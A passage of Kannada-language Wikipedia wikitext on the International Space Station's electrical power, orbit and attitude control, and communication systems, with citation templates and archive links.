ಮೇಲಿರುವ ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿಗಳನ್ನು ತೋರಿಸಲಾಗುತ್ತಿದೆ.]] ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ(PV) ಸರಣಿಗಳು ISS ಗೆ ವಿದ್ಯುತ್ ಅನ್ನು ಒದಗಿಸುತ್ತವೆ. ಬಾನಗಾಡಿ ಮತ್ತು ಬಹುಪಾಲು ವಿಮಾನ ಮಾದರಿ ನಿಲ್ದಾಣದಲ್ಲಿರುವ ರಷ್ಯಾದ ಭಾಗವು 28&nbsp;ವೋಲ್ಟ್(ವಿದ್ಯುಚ್ಚಾಲಕ ಬಲದ ಮಾನ) DC(ನಿರಂತರ ವಿದ್ಯುತ್ ಹರಿವು) ಯನ್ನು ಬಳಸುತ್ತದೆ. ಇದನ್ನು ಭಾಗಶಃ ''ಜಾರ್ಯ'' ಮತ್ತು ''ಜ್ವೆಜ್ದ'' ಘಟಕಗಳಿಗೆ ನೇರವಾಗಿ ಜೋಡಿಸಲಾದ ನಾಲ್ಕು ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿಗಳು ಒದಗಿಸುತ್ತವೆ. ನಿಲ್ದಾಣದ ಉಳಿದ ಭಾಗವು US PV ಸರಣಿಗಳ ಮೂಲಕ 130–180&nbsp;V DC ಯನ್ನು ಬಳಸುತ್ತವೆ. ಇವುಗಳನ್ನು ನಾಲ್ಕು ರೆಕ್ಕೆಗಳ ಜೋಡಿಗಳಂತೆ ಜೋಡಿಸಲಾಗಿರುತ್ತದೆ. ಪ್ರತಿ ರೆಕ್ಕೆಯು ಹೆಚ್ಚು ಕಡಿಮೆ 32.8&nbsp;kW ಅನ್ನು ಉತ್ಪಾದಿಸುತ್ತದೆ.<ref name="Arrays" /> ವಿದ್ಯುತ್ ಅನ್ನು ಸ್ಥಿರಗೊಳಿಸಲಾಗಿರುತ್ತದೆ ಮತ್ತು 160&nbsp;V DC ಯಲ್ಲಿ ವಿತರಣೆ ಮಾಡಲಾಗುತ್ತದೆ. ಅಲ್ಲದೇ ಅದನ್ನು ಬಳಕೆದಾರನಿಗೆ ಅಗತ್ಯವಿರುವ 124&nbsp;V DC ಗೆ ಬದಲಾಯಿಸಲಾಗುತ್ತದೆ. ಅಷ್ಟೇ ಅಲ್ಲದೇ ಅಧಿಕ ವೋಲ್ಟೇಜ್ ಕಿರಿದಾದ ಮತ್ತು ಹಗುರವಾದ ವಾಹಕಕ್ಕೆ ಅವಕಾಶ ನೀಡುತ್ತದೆ. ನಿಲ್ದಾಣದ ಎರಡು ಭಾಗಗಳು ವಿದ್ಯುತ್ ಅನ್ನು ಪರಿವರ್ತಕಗಳೊಂದಿಗೆ ಹಂಚಿಕೊಳ್ಳುತ್ತವೆ. ರಷ್ಯಾದ ಸೈನ್ಸ್ ಪವರ್ ಪ್ಲ್ಯಾಟ್ ಫಾರ್ಮ್ ಅನ್ನು ರದ್ದುಪಡಿಸಿದ ಕಾರಣ ರಷ್ಯನ್ ಆರ್ಬಿಟಲ್ ಸೆಗ್ಮೆಂಟ್, US ನ ಸರಣಿಗಳ ಮೇಲೆ ಅವಲಂಬಿತವಾಗಬೇಕಾಯಿತು. ಅಂದಿನಿಂದ ಇದು ಅತ್ಯಗತ್ಯವಾಗಿದೆ.<ref>{{cite web|url=http://www.boeing.com/defense-space/space/spacestation/systems/solar_arrays.html|date=2 November 2006|title=Boeing: Integrated Defense Systems—NASA Systems—International Space Station—Solar Power|accessdate=28 January 2009|publisher=Boeing}}</ref> ಪೃಥ್ವಿಯಿಂದ ದೂರವಾದ ಪ್ರತಿ 90 ನಿಮಿಷ ಸುತ್ತಿನ 35 ನಿಮಿಷಗಳ ಸಂದರ್ಭದಲ್ಲಿ, ನಿರಂತರವಾದ ವಿದ್ಯುತ್ ಪೂರೈಕೆಗಾಗಿ ನಿಲ್ದಾಣವು, ಮತ್ತೆ ವಿದ್ಯುಚ್ಛಕ್ತಿಯನ್ನು ನವೀಕರಿಸಿ ಪುನಃತುಂಬಬಹುದಾದ ನಿಕಲ್-ಹೈಡ್ರೊಜನ್ ಬ್ಯಾಟರಿಗಳನ್ನು ಬಳಸುತ್ತದೆ. ಹಗಲಿನ ವೇಳೆಯಲ್ಲಿನ ಭೂಮಿಯ ಮೇಲೆ ಬೆಳಕಿರುವ ಭಾಗದಲ್ಲಿ ಬ್ಯಾಟರಿಗಳನ್ನು ಪುನರಾವೇಶಿಸಲಾಗುತ್ತದೆ. ಅವು 6.5 ವರ್ಷಗಳ ಜೀವಾವಧಿಯನ್ನು ಹೊಂದಿರುತ್ತವೆ.(ಸುಮಾರು 37,000 ದಷ್ಟು ಆವೇಶ/ನಿರಾವೇಶ ಚಕ್ರಗಳು) ಅಲ್ಲದೇ ಅವುಗಳು ನಿಲ್ದಾಣದ ಮೇಲೆ 20 ವರ್ಷಗಳ ಕಾಲ ಸಕ್ರಿಯವಾಗಿರಬಲ್ಲವು ಎಂದು ನಿರೀಕ್ಷಿಸಿದ್ದು, ಅದು ಮುಗಿದ ನಂತರ ನಿಯತವಾಗಿ ಬದಲಾಯಿಸಲ್ಪಡುತ್ತವೆ.<ref>{{cite web|url=http://www.grc.nasa.gov/WWW/RT/RT1999/5000/5420miller.html|title=Nickel-Hydrogen Battery Cell Life Test Program Update for the International Space Station|accessdate=27 November 2009|publisher=NASA|author=Thomas B. Miller|date=24 April 2000|archive-date=25 ಆಗಸ್ಟ್ 2009|archive-url=https://web.archive.org/web/20090825125740/http://www.grc.nasa.gov/WWW/RT/RT1999/5000/5420miller.html|url-status=dead}}</ref> US ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿಗಳು ವಿದ್ಯುತ್ ಉತ್ಪಾದನೆಯನ್ನು ಹೆಚ್ಚಿಸಲು ಸಾಮಾನ್ಯವಾಗಿ ಸೂರ್ಯನನ್ನು ಅವಲಂಬಿಸುತ್ತವೆ. ಪ್ರತಿ ಸರಣಿಯು ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ಸರಿಸುಮಾರು 375&nbsp;ಮೀ<sup>2</sup> (450 yd<sup>2</sup>)ನಷ್ಟಿರುತ್ತದೆ ಮತ್ತು ಉದ್ದದಲ್ಲಿ {{convert|58|m|yd|0}} ನಷ್ಟಿರುತ್ತದೆ. ಸಂಪೂರ್ಣ ವಿನ್ಯಾಸದಲ್ಲಿ ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿಗಳು ಪ್ರತಿ ಸುತ್ತಿಗೆ ಲಂಬವಾಗಿದ್ದರೂ ಅನುಕೂಲಕ್ಕೆ ತಕ್ಕಂತೆ ಬಳಸುವ ''ಆಲ್ಫ ಗಿಂಬಲ್'' ಅನ್ನು ಒಮ್ಮೆ ಚಕ್ರಾಕಾರದಲ್ಲಿ ಸುತ್ತಿಸುವ ಮೂಲಕ ಸೂರ್ಯನನ್ನು ಪತ್ತೆಹಚ್ಚುತ್ತವೆ. ಈ ಸರಣಿಗಳು ಕಕ್ಷೆಯ ಸಮತಲದೆಡೆಗೆ ಸೂರ್ಯನ ದಿಕ್ಕಿನಲ್ಲಿ (ಕೋನ), ಉಂಟಾಗುವ ನಿಧಾನವಾದ ಬದಲಾವಣೆಗಳನ್ನು ''ಬೀಟಾ ಗಿಂಬಲ್'' ಅನುಸರಿಸಿದಾಗ, ಆಲ್ಫ ಗಿಂಬಲ್ ಅನ್ನು ಸುತ್ತಿಸುತ್ತವೆ. ನೈಟ್ ಗ್ಲೈಡರ್ ಮೋಡ್ ರಾತ್ರಿಯ ಹೊತ್ತಿನಲ್ಲಿ ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿಗಳನ್ನು ವೇಗ ಸದಿಶಕ್ಕೆ (ವೆಲಾಸಿಟಿ ವೆಕ್ಟರ್) ಸಮಾಂತರವಾಗಿ ಜೋಡಿಸುತ್ತದೆ. ಇದು ನಿಲ್ದಾಣದಲ್ಲಿ ತುಲನಾತ್ಮಕವಾಗಿ ಕಡಿಮೆ ಎತ್ತರವಿರುವ ಕಕ್ಷೆಯಲ್ಲಿ ವಾಯುಬಲ ಎಳೆತವನ್ನು ತಕ್ಕ ಮಟ್ಟಿಗೆ ಕಡಿಮೆ ಮಾಡಲು ಈ ಪ್ರಕಾರ ಜೋಡಿಸುತ್ತದೆ.<ref>{{cite journal|author=G. Landis & C-Y. Lu|year=1991|title=Solar Array Orientation Options for a Space Station in Low Earth Orbit|journal=Journal of Propulsion and Power|volume=7|issue=1|pages=123–125|doi=10.2514/3.23302}}</ref> ===ಕಕ್ಷೆಯ ನಿಯಂತ್ರಣ=== [[File:Internationale Raumstation Bahnhöhe (dumb version).png|thumb|480px|alt=The graph has a vaguely sawtoothed shape, with a deep valley in 2000 and a gentle descent in the average from 2003 onwards, picking up again after mid-2007. See adjacent text for details.|ನಕ್ಷೆಯು1998 ರ ನವೆಂಬರ್ ನಿಂದ 2009 ರ ಜನವರಿಯ ವರೆಗೆ ಬದಲಾಗುತ್ತಿರುವ ISS ನ ಎತ್ತರವನ್ನು ತೋರಿಸುತ್ತಿದೆ.]] ISS ಅನ್ನು ವೃತ್ತಾಕಾರದ ಕಕ್ಷೆಯಲ್ಲಿ ನೋಡಿಕೊಳ್ಳಲಾಗುತ್ತಿದ್ದು, ಕನಿಷ್ಠ 278&nbsp;ಕಿಲೋಮೀಟರ್ (173&nbsp;mi) ನಷ್ಟು ಮತ್ತು ಗರಿಷ್ಠ 460 ಕಿಲೋಮೀಟರ್ (286&nbsp;mi) ನಷ್ಟುಉದ್ದೇಶಿತ ಎತ್ತರವನ್ನು ಹೊಂದಿದೆ. ಇದು ಪ್ರತಿ ಗಂಟೆಗೆ 27,724&nbsp;ಕಿಲೋಮೀಟರ್ (17,227&nbsp;mi) ವೇಗದಲ್ಲಿ ಸಂಚರಿಸುತ್ತದೆ. ಅಲ್ಲದೇ ಪ್ರತಿ ದಿನಕ್ಕೆ 15.7&nbsp;ಕಕ್ಷೆಯನ್ನು ಕ್ರಮಿಸುತ್ತದೆ.<ref name="tracking">{{cite web|url=http://spaceflight.nasa.gov/realdata/tracking/index.html|title=Current ISS Tracking data|accessdate=28 January 2009|publisher=NASA|date=15 December 2008|author=NASA|archive-date=25 ಡಿಸೆಂಬರ್ 2015|archive-url=https://web.archive.org/web/20151225022741/http://spaceflight.nasa.gov/realdata/tracking/index.html|url-status=dead}}</ref> ಸೊಯುಜ್ ಅನ್ನು ಸಂಧಿಸುವ ಗಗನಯಾತ್ರೆಗೆ ಅವಕಾಶ ನೀಡಲು ಗರಿಷ್ಠ 425&nbsp;ಕಿಲೋಮೀಟರ್ (264&nbsp;mi) ನಷ್ಟು ಸಹಜವಾದ ಎತ್ತರವಿರಬೇಕು. ವಾಯುಮಂಡಲದ ಸ್ವಲ್ಪ ಎಳೆತದಿಂದಾಗಿ ISS ನಿರಂತರವಾಗಿ ಎತ್ತರವನ್ನು ಕಳೆದುಕೊಳ್ಳುತ್ತಿರುತ್ತದೆ. ಆದ್ದರಿಂದ ಪ್ರತಿವರ್ಷವು ಅನೇಕ ಬಾರಿ ಇದರ ಎತ್ತರವನ್ನು ಏರಿಸಲಾಗುತ್ತದೆ.<ref name="Worldbook at NASA">{{cite web|url=https://www.nasa.gov/worldbook/intspacestation_worldbook.html|title=International Space Station|year=2005|accessdate=14 June 2008|publisher=World Book, Inc|author=James Oberg|work=World Book Online Reference Center|archive-date=4 ಜೂನ್ 2008|archive-url=https://web.archive.org/web/20080604081100/http://www.nasa.gov/worldbook/intspacestation_worldbook.html|url-status=dead}}</ref><ref name="nasa.gov-iss-environment">{{cite web|url=http://pdlprod3.hosc.msfc.nasa.gov/D-aboutiss/D6.html|archiveurl=https://web.archive.org/web/20080213164432/http://pdlprod3.hosc.msfc.nasa.gov/D-aboutiss/D6.html|archivedate=13 February 2008|title=ISS Environment|date=|accessdate=15 October 2007|publisher=[[Johnson Space Center]]}}</ref> ಈ ಕಾರ್ಯವನ್ನು ''ಜ್ವೆಜ್ದ'' ಸೇವಾ ಘಟಕದ ಮೇಲಿರುವ ನಿಲ್ದಾಣದ ಎರಡು ಪ್ರಮುಖ ಎಂಜಿನ್ ಗಳು, ಪರಸ್ಪರ ಸಂಧಿಸುವ ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ, ಪ್ರೋಗ್ರೆಸ್ ಮರುಪೂರೈಕೆ ಮಾಡಿದ ನೌಕೆ ಅಥವಾ ESA ನ ATV ನಿರ್ವಹಿಸುತ್ತವೆ. ಅಧಿಕ ಎತ್ತರವನ್ನು ಸಂಪೂರ್ಣಗೊಳಿಸಲು ಅದನು ಏರಿಸಬೇಕಾಗುತ್ತದೆ. ಇದಕ್ಕಾಗಿ ಸರಿಸುಮಾರು ಎರಡು ಸುತ್ತು (ಮೂರುಗಂಟೆಗಳು)ಗಳನ್ನು ಇದು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ.<ref name="nasa.gov-iss-environment" /> 2008 ರ ಡಿಸೆಂಬರ್ ನಲ್ಲಿ NASA Ad ಅಸ್ಟ್ರ ರಾಕೆಟ್ ಕಂಪನಿಯೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿತು. ಇದರ ಫಲಿತಾಂಶವಾಗಿ ISS ನ ಮೇಲೆ VASIMR ಪ್ಲ್ಯಾಸ್ಮ ನೋದನ ಎಂಜಿನ್ ಅನ್ನು ಪರೀಕ್ಷಿಸಲಾಯಿತು.<ref name="vasimr">{{cite web|url=http://www.adastrarocket.com/AdAstra-NASA_PR12Dec08.pdf|publisher=AdAstra Rocket Company|title=Press Release 121208|accessdate=7 December 2009|date=12 December 2008|format=PDF}}</ref> ಈ ತಂತ್ರಜ್ಞಾನವು ಸ್ಟೇಷನ್ -ಕೀಪಿಂಗ್(ನಿಲ್ದಾಣದ ನಿರ್ವಹಣೆ) ಅನ್ನು ಪ್ರಸ್ತುತಕ್ಕಿಂತ ಹೆಚ್ಚು ಕಡಿಮೆವೆಚ್ಚದಲ್ಲಿ ನೋಡಿಕೊಳ್ಳಲು ಅವಕಾಶ ನೀಡುತ್ತದೆ.<ref name="future-prop">{{cite web|url=https://www.nasa.gov/vision/space/travelinginspace/future_propulsion.html|title=Propulsion Systems of the Future|accessdate=29 May 2009|publisher=NASA}}</ref><ref>{{cite web|publisher=New Scientist|accessdate=7 October 2009|url=http://www.newscientist.com/article/dn17918-rocket-company-tests-worlds-most-powerful-ion-engine.html|title=Rocket company tests world's most powerful ion engine|author=David Shiga|date=5 October 2009}}</ref> ನಿಲ್ದಾಣದ ಸಂಚರಿಸುವ ವಲಯದ ಸ್ಥಾನ ಮತ್ತು ವೇಗ ಅಥವಾ ಸ್ಟೇಟ್ ವೆಕ್ಟರ್ ಅನ್ನು, US ನ [[ಜಿಪಿಎಸ್|ಗ್ಲೋಬಲ್ ಪೋಸಿಷನಿಂಗ್ ಸಿಸ್ಟಮ್]] (GPS) ಅನ್ನು ಬಳಸಿಕೊಂಡು ಸ್ವತಂತ್ರವಾಗಿ ಸ್ಥಾಪಿಸಲಾಗಿದೆ. ಅಲ್ಲದೇ ಸ್ಟೇಟ್ ವೆಕ್ಟರ್ ನ ಜೊತೆಗಳನ್ನು ಭೂಮಿಯ ಮೇಲಿನ ರಷ್ಯನ್ ಪ್ರದೇಶಗಳಿಂದ ಮತ್ತು ರಷ್ಯನ್ GLONASS ವ್ಯವಸ್ಥೆಯ ಮೂಲಕ ಪರಿಷ್ಕರಿಸಲಾಗುತ್ತದೆ. ನಿಲ್ದಾಣದ ಮೂಲ ನೆಲೆ(ಸ್ಥಾನ)ಯನ್ನು, ''ಜ್ವೆಜ್ದ'' ಘಟಕ ಮತ್ತು US ನ [[ಜಿಪಿಎಸ್|GPS]] ಮೇಲಿರುವ ಸೂರ್ಯ, ನಕ್ಷತ್ರ ಮತ್ತು ಕ್ಷಿತಿಜದ ಸಂವೇದಕಗಳ ಗುಂಪು ಸ್ವತಂತ್ರವಾಗಿ ನಿರ್ಧರಿಸಬಲ್ಲವು. ಈ ಸಂವೇದಕಗಳು S0 ಟ್ರಸ್ ನ ಮೇಲೆ ಆಂಟೆನಗಳನ್ನು ಮತ್ತು US ಪ್ರಯೋಗಾಲಯದಲ್ಲಿ ರೀಸಿವರ್ ಪ್ರೋಸೆಸರ್(ಪರಿಷ್ಕಾರಕ)ಗಳನ್ನು ಹೊಂದಿವೆ. ದರ ಪ್ರಮಾಣಕ ಸಂವೇದಕಗಳ ಮೂಲಕ ಸ್ಥಾನಕ್ಕೆ(ನೆಲೆಗೆ) ಸಂಬಂಧಿಸಿದ ಮಾಹಿತಿಯನ್ನು ಪರಿಷ್ಕರಣಗಳ ನಡುವೆ ಪ್ರಸಾರಮಾಡಲಾಗುತ್ತದೆ.<ref name="ISSRG" /> ನೆಲೆ(ಸ್ಥಾನ) ನಿಯಂತ್ರಕವನ್ನು ಎರಡು ಕಾರ್ಯರೀತಿಗಳ ಮೂಲಕ ನೋಡಿಕೊಳ್ಳಲಾಗುತ್ತದೆ; ಸಾಮಾನ್ಯವಾಗಿ ನಾಲ್ಕು ಕಂಟ್ರೋಲ್ ಮುಮೆಂಟ್ ಜೈರೋಸ್ಕೋಪ್(ಭ್ರಮಣ ದರ್ಶಕ)(CMGs) ಗಳ ವ್ಯವಸ್ಥೆಯು, ''ಯೂನಿಟಿ'' ಯನ್ನು ''ಡೆಸ್ಟಿನಿ'' ಯ ಮುಂಭಾಗದಲ್ಲಿ, P ಟ್ರಸ್ ಅನ್ನು ತಂಗುವ ಸ್ಥಳದಲ್ಲಿ ಮತ್ತು ''ರಾಸ್ವೆಟ್'' ಅನ್ನು ಭೂಮಿಗೆ ಅಭಿಮುಖವಾಗಿರುವ ಭಾಗದಲ್ಲಿ (ಅಧೋಬಿಂದು) ಇರಿಸುವ ಮೂಲಕ ನಿಲ್ದಾಣವನ್ನು ಸರಿಯಾದ ಸ್ಥಾನದಲ್ಲಿರಿಸುತ್ತದೆ. CMG ವ್ಯವಸ್ಥೆಯು ಸಂಪೂರ್ಣವಾಗಿ 'ತುಂಬಲ್ಪಟ್ಟಾಗ'— CMG ಗಳ ಗುಂಪು ಅದರ ಕಾರ್ಯಕಾರಿ ಸಾಮರ್ಥ್ಯವನ್ನು ಮೀರಿದಾಗ ಅಥವಾ ತೀವ್ರಗತಿಯ ಚಲನೆಯನ್ನು ಪತ್ತೆಹಚ್ಚಲು ಅವುಗಳಿಗೆ ಸಾಧ್ಯವಾಗದೇ ಹೋದಾಗ—ಅವು ನಿಲ್ದಾಣದ ನೆಲೆಯನ್ನು(ಸ್ಥಾನವನ್ನು) ನಿಯಂತ್ರಿಸುವಲ್ಲಿನ ಅವುಗಳ ಸಾಮರ್ಥ್ಯ ಕಳೆದುಕೊಳ್ಳಬಲ್ಲವು.<ref>{{cite book|title=Dynamics and Control of Attitude, Power, and Momentum for a Spacecraft Using Flywheels and Control Moment Gyroscopes|author=Carlos Roithmayr|year=2003|publisher=NASA|location=Langley Research Center|url=http://www.amazon.co.uk/dp/B0018V9YG6}}</ref> ಇಂತಹ ಸಂದರ್ಭದಲ್ಲಿ, CMG ವ್ಯವಸ್ಥೆಯು ಪುನಃ ಜೋಡಿಸಲ್ಪಡುತ್ತಿರುವಾಗ, ಭಾರವನ್ನು ತಗ್ಗಿಸುವ ನೂಕುಕಾರಿ(ವ್ಯೋಮನೌಕೆಯೊಂದಕ್ಕೆ ಹೆಚ್ಚಿನ ದೋಷಪರಿಹಾರಕ ನೂಕು ಬಲವನ್ನು ನೀಡಬಲ್ಲ ರಾಕೆಟ್ ಎಂಜಿನ್)ಇಂಧನ ಒದಗಿಸಲು, ರಷ್ಯಾದ ನೆಲೆ ನಿಯಂತ್ರಕ ವ್ಯವಸ್ಥೆಯನ್ನು ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿದೆ. ಈ ಸ್ವಯಂಚಾಲಿತ ಸ್ಥಾನ ನಿಯಂತ್ರಣವು ಗಗನ ಯಾತ್ರೆ 10 ರ ಸಂದರ್ಭದಲ್ಲಿ ಕೇವಲ ಒಮ್ಮೆ ಸಂಭವಿಸಿತ್ತು.<ref>{{cite web|url=http://spaceflight.nasa.gov/spacenews/reports/issreports/2005/iss05-7.html|title=International Space Station Status Report #05-7|date=11 February 2005|publisher=NASA|accessdate=23 November 2008|archive-date=17 ಮಾರ್ಚ್ 2005|archive-url=https://web.archive.org/web/20050317194246/http://spaceflight.nasa.gov/spacenews/reports/issreports/2005/iss05-7.html|url-status=dead}}</ref> ಬಾನಗಾಡಿಯು ನಿಲ್ದಾಣಕ್ಕೆ ಬಂದಾಗ ಇದನ್ನು ನಿಲ್ದಾಣದ ಸ್ಥಾನ,ಅದರ ಕಾರ್ಯ ವಿಧಾನ ನೋಡಿಕೊಳ್ಳಲು ಕೂಡ ಬಳಸಬಹುದಾಗಿದೆ. ಇದು ISS ಗಗನಯಾತ್ರೆಯ ಸಂದರ್ಭದಲ್ಲಿ ಸೇರಿಕೊಂಡ ಪ್ರತಿ ಬಾನಗಾಡಿಯ ಭಾಗದಲ್ಲಿ ನಡೆಯುತ್ತದೆ. ಬಾನಗಾಡಿಯ ನಿಯಂತ್ರಣವನ್ನು ,STS-117 ರ ಸಂದರ್ಭದಲ್ಲಿ S3/S4 ಟ್ರಸ್ ಅನ್ನು ಅಳವಡಿಸುವ ಮೂಲಕ ಪ್ರತ್ಯೇಕವಾಗಿ ಬಳಸಲಾಯಿತು.<ref>{{cite web|url=http://www.nasaspaceflight.com/2007/06/atlantis-ready-to-support-iss-troubleshooting/|title=Atlantis ready to support ISS troubleshooting|publisher=NASASPaceflight.com|author=Chris Bergin|accessdate=6 March 2009|date=14 June 2007}}</ref> ===ಸಂವಹನಗಳು=== [[File:ISS Communication Systems.png|thumb|480px|The communications systems used by the ISS* Luch satellite not currently in use.|alt=ರೇಖಾಚಿತ್ರವು ISS ಮತ್ತು ಇತರ ಘಟಕಗಳ ನಡುವಿನ ಸಂವಹನ ಕೊಂಡಿಯನ್ನು ತೋರಿಸುತ್ತಿದೆ.ಹೆಚ್ಚು ವಿವರಗಳಿಗಾಗಿ ಪಕ್ಕದಲ್ಲಿರುವ ಬರಹವನ್ನು ನೋಡಿ.]] [[ರೇಡಿಯೋ|ರೇಡಿಯೊ ಸಂವಹನ]]ವು, ನಿಲ್ದಾಣ ಮತ್ತು ಗಗನಯಾತ್ರೆ ನಿಯಂತ್ರಣ ಕೇಂದ್ರದ ನಡುವೆ [[ಟೆಲಿಮಿಟ್ರಿ]](ದೂರದ ಒಂದು ಭೌತಿಕ ಘಟನೆಯನ್ನು ತಿಳಿಯುವ ವ್ಯವಸ್ಥೆ) ಮತ್ತು ವೈಜ್ಞಾನಿಕ ದತ್ತಾಂಶದ ಕೊಂಡಿಗಳನ್ನು ಒದಗಿಸುತ್ತದೆ. ರೇಡಿಯೋ ಕೊಂಡಿಗಳನ್ನು ಪರಸ್ಪರ ಸಂಧಿಸುವ ಮತ್ತು ಜೋಡಿಸುವ ಕಾರ್ಯವಿಧಾನದ ಸಂದರ್ಭದಲ್ಲಿ ಬಳಸಲಾಗುತ್ತದೆ. ಅಲ್ಲದೇ ಇದನ್ನು ಸಿಬ್ಬಂದಿ ಸದಸ್ಯರುಗಳ, ಹಾರಾಟ ನಿಯಂತ್ರಕರು ಮತ್ತು ಕುಟುಂಬದ ಸದಸ್ಯರ ನಡುವೆ ನಡೆಯುವ ಆಡಿಯೋ ವೀಡಿಯೋ(ಶ್ರವಣದೃಶ್ಯ)ಸಂಪರ್ಕಕ್ಕಾಗಿಯು ಕೂಡ ಬಳಸಲಾಗುತ್ತದೆ. ಇದರ ಫಲಿತಾಂಶವೆಂಬಂತೆ ISS ಅನ್ನು, ವಿಭಿನ್ನ ಉದ್ದೇಶಗಳಿಗೆ ಬಳಸಲಾಗುವ ಆಂತರಿಕ ಮತ್ತು ಬಾಹ್ಯ ಸಂವಹನ ವ್ಯವಸ್ಥೆಗಳೊಂದಿಗೆ ಸಜ್ಜುಗೊಳಿಸಲಾಗಿದೆ.<ref name="BoeingComm" /> ರಷ್ಯಾದ ಆರ್ಬಿಟಲ್ ಸೆಗ್ಮೆಂಟ್, ''ಜ್ವೆಜ್ದ'' ದ ಮೇಲೆ ಸ್ಥಾಪಿಸಲಾಗಿರುವ ''ಲೈರ'' ಆಂಟೆನ ಗಳ ಮೂಲಕ ಭೂಮಿಯೊಂದಿಗೆ ನೇರವಾಗಿ ಸಂಪರ್ಕಿಸುತ್ತದೆ.<ref name="ISSRG" /><ref>{{cite web|url=https://www.nasa.gov/home/hqnews/2005/mar/HQ_ss05015_ISS_status_report.html|title=International Space Station Status Report: SS05-015|last=Mathews|first=Melissa|coauthors=James Hartsfield|date=25 March 2005|work=NASA News|publisher=NASA|accessdate=11 January 2010}}</ref> ''ಲೈರ'' ಆಂಟೆನವು, ''ಲಚ್'' ದತ್ತಾಂಶ ಮರುಪ್ರಸಾರ ಉಪಗ್ರಹ ವ್ಯವಸ್ಥೆಯನ್ನು ಕೂಡ ಬಳಸುವ ಸಾಮರ್ಥ್ಯ ಹೊಂದಿದೆ.<ref name="ISSRG" /> ''ಮಿರ್'' ನೊಂದಿಗೆ ಸಂವಹನಕ್ಕಾಗಿ ಬಳಸಲಾಗುತ್ತಿದ್ದ ಈ ವ್ಯವಸ್ಥೆ 1990 ರ ಸುಮಾರಿನಲ್ಲಿ ರಿಪೇರಿ ಮಾಡಲಾಗದ ದುಸ್ಥಿತಿ ತಲುಪಿತು. ಇದರ ಫಲಿತಾಂಶವಾಗಿ ಹೆಚ್ಚುಕಾಲದ ವರೆಗೆ ಇದು ಬಳಕೆಯಲ್ಲಿ ಉಳಿಯಲಿಲ್ಲ,<ref name="SSSM" /><ref name="ISSRG" /><ref name="Harvey">{{cite book|last=Harvey|first=Brian|title=The rebirth of the Russian space program: 50 years after Sputnik, new frontiers|publisher=Springer Praxis Books|year=2007|page=263|isbn=0387713549}}</ref> ಆದರೂ ಕೂಡ ವ್ಯವಸ್ಥೆಯ ಕಾರ್ಯಕಾರಿ ಸಾಮರ್ಥ್ಯವನ್ನು ಪುನರ್ಸ್ಥಾಪಿಸಲು ಎರಡು ಹೊಸ ''ಲಚ್'' ಉಪಗ್ರಹಗಳನ್ನು—''ಲಚ್'' -5A ಮತ್ತು ''ಲಚ್'' -5Bಯನ್ನು 2011 ರಲ್ಲಿ ಉಡಾವಣೆ ಮಾಡಲು ಯೋಜಿಸಲಾಗಿದೆ.<ref>{{cite web|publisher=RussianSpaceWeb|url=http://www.russianspaceweb.com/2011.html|accessdate=12 January 2010|title=Space exploration in 2011|date=4 January 2010|author=Anatoly Zak}}</ref> ವಾಸ್ಕೊಡ್-M ಎಂಬುದು ರಷ್ಯಾದ ಮತ್ತೊಂದು ಸಂವಹನ ವ್ಯವಸ್ಥೆಯಾಗಿದ್ದು, ''ಜ್ವೆಜ್ದ'' , ''ಜಾರ್ಯ'' , ''ಪರ್ಸ್'' , ''ಪಾಯ್ಸಕ್'' ಮತ್ತು USOS ಗಳ ನಡುವೆ ಒಳಗಿನ ದೂರವಾಣಿ ಸಂಪರ್ಕವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಅಲ್ಲದೇ ''ಜ್ವೆಜ್ದ''' ಹೊರಾಂಗಣದ ಮೇಲಿರುವ ಆಂಟೆನಗಳ ಮೂಲಕ ಭೂ ನಿಯಂತ್ರಣಾ ಕಕ್ಷಾ ಸಂಪರ್ಕ ಕೇಂದ್ರಗಳಿಗೆ, VHF ರೇಡಿಯೋ ಕೊಂಡಿಗಳನ್ನು ಕೂಡ ಒದಗಿಸುತ್ತದೆ.<ref>{{cite web|url=https://www.nasa.gov/directorates/somd/reports/iss_reports/2010/05022010.html|date=2 May 2010|accessdate=7 July 2010|publisher=NASA|title=ISS On-Orbit Status 05/02/10}}</ref>''' '' US ಆರ್ಬಿಟಲ್ ಸೆಗ್ಮೆಂಟ್ (USOS) , Z1 ಟ್ರಸ್ ಸ್ಟ್ರಕ್ಚರ್ನಲ್ಲಿ ಜೋಡಿಸಲಾಗಿರುವ ಎರಡು ಪ್ರತ್ಯೇಕ ರೇಡಿಯೋ ಕೊಂಡಿಗಳನ್ನು ಬಳಸುತ್ತದೆ: S ಬ್ಯಾಂಡ್ ಅನ್ನು (ಶ್ರವಣಕ್ಕಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ.) ಮತ್ತು K<sub>u</sub> ಬ್ಯಾಂಡ್ (ಶ್ರವಣ, ದರ್ಶನ ಮತ್ತು ದತ್ತಾಂಶಗಳಿಗಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ) ವ್ಯವಸ್ಥೆಗಳು ಇದರಲ್ಲಿ ಅಡಕವಾಗಿವೆ. ಈ ಸಂವಹನಗಳು(ಟ್ರಾನ್ಸ್ ಮಿಷನ್ಸ್) ಭೂಸ್ಥಾಯೀ ಕಕ್ಷೆಯಲ್ಲಿ US ನ ಟ್ರ್ಯಾಕಿಂಗ್ ಅಂಡ್ ಡೇಟಾ ರಿಲೇ ಸ್ಯಾಟಲೈಟ್ (TDRSS) ವ್ಯವಸ್ಥೆಯ ಮೂಲಕ ಕಳುಹಿಸಲ್ಪಡುತ್ತವೆ. ಇದು ಹಾಸ್ಟನ್ ನಲ್ಲಿರುವ NASAದ ಗಗನಯಾತ್ರೆ ನಿಯಂತ್ರಣ ಕೇಂದ್ರ (MCC-H) ದೊಂದಿಗೆ ಬಹುಪಾಲು ಸತತವಾಗಿ ನಿಜಾವಧಿ ಸಂವಹನಕ್ಕೆ 